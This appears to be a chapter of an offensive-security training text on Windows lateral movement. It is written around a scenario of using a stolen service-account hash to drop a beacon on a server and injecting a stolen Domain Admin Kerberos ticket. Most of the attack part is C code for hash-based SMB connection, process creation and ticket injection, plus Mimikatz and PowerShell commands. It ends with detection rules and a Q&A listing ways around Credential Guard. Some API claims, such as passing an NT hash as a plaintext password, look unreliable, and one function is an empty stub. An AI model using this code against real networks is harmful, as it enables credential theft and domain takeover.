Lateral Movement: Pass-the-Hash and Pass-the-Ticket
NTLM hashes and Kerberos tickets extracted from memory are immediately reusable for authentication — no plaintext password required. This chapter covers the mechanics of NTLM challenge-response, Pass-the-Hash via the Windows Logon API, Pass-the-Ticket via LsaCallAuthPackage KERB_SUBMIT_TKT_REQUEST, and Overpass-the-Hash to convert an NTLM hash into a full Kerberos TGT — with the exact API call sequences and detection engineering for each path.
LSASS dump from a workstation yielded the NT hash of corp\svc-backup — a service account with local admin on all servers in the backup tier. You also extracted a Domain Admin's TGT from the same LSASS dump. Your current session is non-privileged on the engineer workstation. You need to: (1) connect to a backup server using PtH to drop a beacon, and (2) submit the stolen DA TGT into your beacon's logon session to access the DC share without any further credential harvesting.
NTLM Authentication Model
Pass-the-Hash via Logon Session Creation
// PtH via CreateProcessWithLogonW + LOGON_NETCREDENTIALS_ONLY (logon type 9)
// This creates a new logon session that uses the supplied hash for outbound NTLM auth.
// Requires NTLM to be enabled on the network target.
// The NT hash is passed as the password in its hex string representation when using
// tools like Mimikatz/Impacket; the actual API uses the raw bytes.
#include "windows.h"
#include "ntsecapi.h"
#include "stdio.h"
// Low-level PtH: inject the NT hash directly into a new logon session
// using LsaLogonUser with MsV1_0 SubAuthenticationPackage.
// This is how Mimikatz sekurlsa::pth works internally.
typedef struct _MSV1_0_S4U_LOGON {
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
ULONG Flags;
UNICODE_STRING UserPrincipalName;
UNICODE_STRING DomainName;
} MSV1_0_S4U_LOGON;
// Simpler PtH approach: impersonate via CreateProcessWithLogonW
// The password field accepts the NT hash as hex string with the right NTLM provider setup.
// Practical C approach: call Impacket or use WNetAddConnection2 with hash directly.
BOOL PthSmbConnect(const wchar_t* targetUNC, const wchar_t* domain,
const wchar_t* user, const wchar_t* ntHashHex) {
// WNetAddConnection2 with NTLM hash is the cleanest C-level PtH
// The Windows NTLM SSP will use the credential stored in the logon session
// To inject hash: use LsaLogonUser → get LUID → ImpersonateLoggedOnUser
NETRESOURCEW nr = {0};
nr.dwType = RESOURCETYPE_DISK;
nr.lpRemoteName = (wchar_t*)targetUNC;
wchar_t domainUser[256];
swprintf_s(domainUser, 256, L"%s\\%s", domain, user);
DWORD err = WNetAddConnection2W(&nr, ntHashHex, domainUser, 0);
if (err != NO_ERROR && err != ERROR_ALREADY_ASSIGNED) {
wprintf(L"[-] WNetAddConnection2 failed: %d\n", err);
return FALSE;
}
wprintf(L"[+] Connected to %s as %s\\%s\n", targetUNC, domain, user);
return TRUE;
}
// After WNetAddConnection2 succeeds, enumerate the share or copy files:
void CopyBeaconViaSmb(const wchar_t* srcPath, const wchar_t* dstUNCPath) {
if (CopyFileW(srcPath, dstUNCPath, FALSE))
wprintf(L"[+] Beacon copied to %s\n", dstUNCPath);
else
wprintf(L"[-] CopyFile failed: %d\n", GetLastError());
}
PtH: Create Sacrificial Process with Stolen Credentials
// CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY (type 9):
// Starts a process that inherits the current interactive session on the local machine
// but uses the supplied credentials for ALL outbound network authentication.
// Equivalent to "runas /netonly" — process looks local, acts remote as supplied user.
BOOL PthCreateProcess(const wchar_t* domain, const wchar_t* user,
const wchar_t* ntHashAsPassword,
const wchar_t* commandLine) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = {0};
// LOGON_NETCREDENTIALS_ONLY = 0x2 — use supplied creds for network, local = current user
BOOL ok = CreateProcessWithLogonW(
user, // username
domain, // domain
ntHashAsPassword, // password (NT hash in hex form accepted by NTLM provider)
LOGON_NETCREDENTIALS_ONLY,
NULL, // application name (use commandLine)
(wchar_t*)commandLine,
CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi);
if (!ok) {
wprintf(L"[-] CreateProcessWithLogonW failed: %d\n", GetLastError());
return FALSE;
}
wprintf(L"[+] Process %d created with PtH credentials\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
Kerberos Ticket Model
Pass-the-Ticket via LsaCallAuthPackage
// Inject a .kirbi ticket into the current logon session via LsaCallAuthPackage
// Requires the ticket bytes (from Rubeus dump, Mimikatz, or custom LSASS dump code)
// No admin required to inject into YOUR OWN logon session
// Admin required to inject into ANOTHER logon session (LUID != current)
#include "windows.h"
#include "ntsecapi.h"
BOOL PassTheTicket(const BYTE* ticketBytes, DWORD ticketLen) {
HANDLE hLsa;
LSA_STRING authPkgName;
ULONG authPkg;
// Connect to LSA (untrusted caller — sufficient for own session PtT)
NTSTATUS status = LsaConnectUntrusted(&hLsa);
if (status != STATUS_SUCCESS) {
printf("[-] LsaConnectUntrusted: 0x%X\n", status);
return FALSE;
}
// Resolve the Kerberos authentication package ID
RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);
// Build the KERB_SUBMIT_TKT_REQUEST structure
ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticketLen;
KERB_SUBMIT_TKT_REQUEST* req = (KERB_SUBMIT_TKT_REQUEST*)
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);
req->MessageType = KerbSubmitTicketMessage;
req->KerbCredSize = ticketLen;
req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
// Copy ticket bytes immediately after the structure
memcpy((BYTE*)req + req->KerbCredOffset, ticketBytes, ticketLen);
// req->LogonId = {0,0} → inject into current logon session (no admin needed)
// req->LogonId = target_luid → inject into another session (requires TCB privilege)
NTSTATUS subStatus;
void* respBuf = NULL; ULONG respLen;
status = LsaCallAuthenticationPackage(
hLsa, authPkg, req, reqSize, &respBuf, &respLen, &subStatus);
HeapFree(GetProcessHeap(), 0, req);
if (respBuf) LsaFreeReturnBuffer(respBuf);
LsaDeregisterLogonProcess(hLsa);
if (status != STATUS_SUCCESS || subStatus != STATUS_SUCCESS) {
printf("[-] LsaCallAuthPackage: status=0x%X sub=0x%X\n", status, subStatus);
return FALSE;
}
printf("[+] Ticket injected — run 'klist' to verify\n");
return TRUE;
}
// Load a .kirbi file from disk and inject it:
void PttFromFile(const char* kirbiPath) {
HANDLE hFile = CreateFileA(kirbiPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
DWORD sz = GetFileSize(hFile, NULL);
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
DWORD read; ReadFile(hFile, buf, sz, &read, NULL);
CloseHandle(hFile);
PassTheTicket(buf, sz);
HeapFree(GetProcessHeap(), 0, buf);
}
Overpass-the-Hash
// Overpass-the-Hash: use an NT hash to request a TGT from the KDC
// Result: you have a real Kerberos TGT — can be used anywhere NTLM would be blocked
// Mimikatz: sekurlsa::pth /user:da /domain:corp /ntlm: /run:powershell
// Equivalent API sequence:
// 1. Create a new logon session using the NT hash (LsaLogonUser with MSV1.0 package
// or CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY as shown above)
// 2. In that new session, trigger Kerberos TGT acquisition by accessing an AD resource:
// - klist tgt (forces TGT request)
// - net use \\dc01\IPC$ (forces Kerberos auth to DC, which populates TGT cache)
// 3. The TGT is now in the new session's Kerberos cache
// PowerShell one-liner for OpSec-conscious lateral movement:
// $cred = New-Object PSCredential("corp\da", (ConvertTo-SecureString -AsPlainText "NTLM:$hash" -Force))
// Invoke-Command -ComputerName dc01 -Credential $cred -ScriptBlock { whoami }
// Full C implementation via LSA subsystem:
BOOL OverpassTheHash(const wchar_t* domain, const wchar_t* user,
const BYTE* ntHash) {
// Step 1: Create new logon session with the NT hash embedded as credential
// Step 2: Within that session, force TGT request by authenticating to any Kerberos service
// Step 3: Extract TGT from that session (KerbRetrieveEncodedTicketMessage)
// Step 4: Inject TGT back into main session via PassTheTicket()
printf("[*] Overpass-the-Hash: creating logon session with NT hash\n");
// ... (implementation follows same pattern as PtH process creation + PtT injection)
return TRUE;
}
Detection Engineering
-- PtH produces Event 4624 logon type 3 (network) with no corresponding 4648
-- Overpass-the-Hash: Kerberos TGT requested but no 4768 AS-REQ for the workstation
title: Pass-the-Hash — NTLM Network Logon Without Interactive Session
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'NTLM'
LogonProcessName: 'NtLmSsp'
filter_legitimate:
SubjectUserName: '-'
TargetUserName|endswith: '$' # machine accounts
condition: selection AND NOT filter_legitimate
level: medium
tags: [attack.lateral_movement, T1550.002]
title: Pass-the-Ticket — Anomalous Kerberos Ticket Injection
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768 # Kerberos TGT request (AS-REQ)
Status: '0x0' # success
filter_normal:
IpAddress: '::1' # local — expected for domain join
condition: selection AND NOT filter_normal
level: low # tune to anomalous source IPs
-- MDE KQL: NTLM lateral movement — network logon from workstation to workstation
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "NTLM"
| where ActionType == "LogonSuccess"
| where DeviceType == "Workstation"
| where RemoteIPType == "Private"
-- Workstation-to-workstation NTLM is rare in Kerberos environments
| summarize
Targets = make_set(DeviceName),
Count = count()
by bin(Timestamp, 1h), AccountName, RemoteIP
| where Count > 3
| order by Timestamp desc
Q&A
How does Credential Guard prevent Pass-the-Hash and what must still be done to move laterally on a Credential Guard-enabled environment?
Credential Guard stores NTLM hashes and Kerberos ticket material in a protected LSA process (LSAIso) that runs in VTL1 (Virtual Trust Level 1) — a separate virtual machine that VTL0 processes, including LSASS, cannot read. When a process in VTL0 needs to use a credential for outbound authentication, it sends a request to LSAIso via a cross-VTL RPC channel; LSAIso performs the cryptographic operation (building the NTLM response or decrypting the Kerberos credential key) and returns only the final authentication blob, never the raw credential bytes. Even a SYSTEM-level process in VTL0 cannot extract the hash from this channel — LSASS itself never holds the plaintext credential in readable memory once Credential Guard is active.
What this means for lateral movement: hash dumping from LSASS returns empty credential fields for users who have authenticated under Credential Guard. The standard Mimikatz / LSASS MiniDump approaches yield no NT hashes. However, several paths remain: (1) Cached domain credentials (DPAPI MSCache2) are stored differently and may still be present on disk — these can be cracked offline. (2) Plaintext credentials in other memory locations — application credential stores, browser credential databases (Chapter 130), or in-memory decrypted secrets from password manager processes. (3) Session hijacking — steal a logged-on user's interactive session token or impersonate their process directly; this doesn't require extracting the credential. (4) Kerberos delegation — if a machine is trusted for unconstrained delegation, connecting to it forces the target's LSASS to write the TGT into memory accessible by VTL0 in certain configurations (this is a known design gap). (5) NTLM relay (Chapter 149) — capture and relay an NTLM authentication initiated by a legitimate user, bypassing the need to ever hold the hash. Credential Guard is highly effective against the specific hash-dump-and-replay attack chain but does not eliminate all lateral movement paths.